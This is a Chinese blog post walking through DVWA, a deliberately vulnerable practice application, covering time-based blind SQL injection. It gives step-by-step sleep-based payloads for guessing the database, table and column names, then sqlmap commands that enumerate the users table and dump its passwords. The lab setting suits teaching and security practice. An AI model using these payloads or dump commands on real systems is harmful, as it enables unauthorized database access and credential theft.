DVWA靶场实操演示(三)

134 阅读3分钟

开启掘金成长之旅!这是我参与「掘金日新计划 · 12 月更文挑战」的第5天,点击查看活动详情

2 . SQL盲注 (对应 SQL Injection(Blind) 模块)

与一般注入的区别是,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高,目前网络上现存的SQL注入漏洞大多是SQL盲注 

盲注分为基于布尔的盲注(只会告诉你是或不是)、基于时间的盲注(根据sleep() 函数的延迟判断)以及基于报错的盲注

方法(操作步骤详见视频)

基于时间的盲注:

a.判断是否存在注入,注入是字符型还是数字型

输入1' and sleep(5)#,感觉到明显延迟;

输入1 and sleep(5) #,没有延迟;

说明存在字符型的基于时间的盲注。

b.猜解当前数据库名

首先猜解数据名的长度:

1' and if(length(database())=1,sleep(5),1) # 没有延迟

1' and if(length(database())=2,sleep(5),1) # 没有延迟

1' and if(length(database())=3,sleep(5),1) # 没有延迟

1' and if(length(database())=4,sleep(5),1) # 明显延迟

说明数据库名长度为4个字符。

接着采用二分法猜解数据库名:

1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟

1' and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟

1' and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟

说明数据库名的第一个字符为小写字母d。

重复上述步骤,即可猜解出数据库名。

c.猜解数据库中的表名

首先猜解数据库中表的数量:

1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 没有延迟

1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明显延迟

说明数据库中有两个表。

接着挨个猜解表名:

1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟

1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明显延迟

说明第一个表名的长度为9个字符。

采用二分法即可猜解出表名。

d.猜解表中的字段名

首先猜解表中字段的数量:

1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 没有延迟

1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明显延迟

说明users表中有8个字段。

接着挨个猜解字段名:

1' and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 没有延迟

1' and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明显延迟

说明users表的第一个字段长度为7个字符。

采用二分法即可猜解出各个字段名。

e.猜解数据

同样采用二分法。
3 . **使用SQLMAP工具进行注入
**方法(操作步骤详见视频)

python2 sqlmap.py -u "www.dvwa.com/vulnerabili…" --cookie=" PHPSESSID=u2ld0121bvjosoitoopdsnj3fe; security=low" --batch

-dbs(如上图所示,查看所有数据库名称)

-D dvwa --tables(列出dvwa数据库中全部表名)

-D dvwa -T users --columns(如上图所示,列出user表中字段信息)

-D dvwa -T users -C user,password,user_id --dump(一般数据库中的信息都会加密,这个 命令可以直接显示解密后的情况,并且会自动保存到本地)

-u  #指定URL,get请求方式

-cookie=""  #使用cookie的身份认证

--batch # 自动选是

--dbs # 查询所有数据库

--tables # 查看所有的表

-D # 指定数据库

-T # 指定表

--columns # 查看所有的字段

 -C # 指定字段

--dump # 查看数据

 

python2 sqlmap.py -r dvwa1.log --batch

python2 sqlmap.py -r dvwa2.log --batch --second-url "www.dvwa.com/vulnerabili…"

有问题欢迎留言和评论,大家一起学习和探讨,本次分享到此结束,谢谢大家! 有问题欢迎留言和评论,大家一起学习和探讨,本次分享到此结束,谢谢大家!